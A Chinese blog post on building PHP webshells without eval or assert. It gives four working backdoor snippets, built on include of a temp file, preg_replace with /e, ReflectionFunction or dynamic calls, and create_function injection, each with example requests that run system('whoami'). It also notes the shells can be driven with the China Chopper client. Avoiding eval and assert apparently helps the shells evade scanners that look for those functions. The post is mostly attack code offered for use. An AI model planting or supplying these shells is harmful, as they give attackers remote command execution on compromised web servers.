不使用eval、assert制作webshell

1、include函数

实现思路:将POST过来的参数写入到一个文本里,再去包含文本实现代码执行

<?php

@$pwd=$_POST['pwd'];
$include_file='code.txt'; 
if(isset($pwd)){
    file_put_contents($include_file,'<?php '.$pwd);
    include $include_file;
    unlink($include_file);
}
        
?>

《不使用eval、assert制作webshell》

也可以使用菜刀连接

《不使用eval、assert制作webshell》

《不使用eval、assert制作webshell》

 

2、preg_replace函数

实现思路:使用/e修饰符实现代码执行

<?php
@preg_replace("//e",$_POST['pwd'],"luck");
?>

《不使用eval、assert制作webshell》

 

3、ReflectionFunction & 动态函数

<?php
$func = new ReflectionFunction($_GET['func_name']);
$func->invokeArgs($_GET['args']);
?>
http://127.0.0.1/code_exec.php?func_name=system&args[0]=whoami

《不使用eval、assert制作webshell》

动态函数

<?php
$_GET['function']($_GET['args']);
?>

example:

http://127.0.0.1/code_exec.php?function=system&args=whoami

《不使用eval、assert制作webshell》

4、create_function

<?php
$code=$_GET['code'];
$str2=";}{$code};/*";
echo $str2.'<hr>';
$f1 = create_function('$a',$str2);
?>

《不使用eval、assert制作webshell》

也可以直接用菜刀连接

原理:

function name($a){
;}system("whoami");/*
}

这样看得一目了然

function name($a){
;}

system("whoami");/*}

本文来自ringk3y,经授权后发布,本文观点不代表MottoIN立场,转载请联系原作者。

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code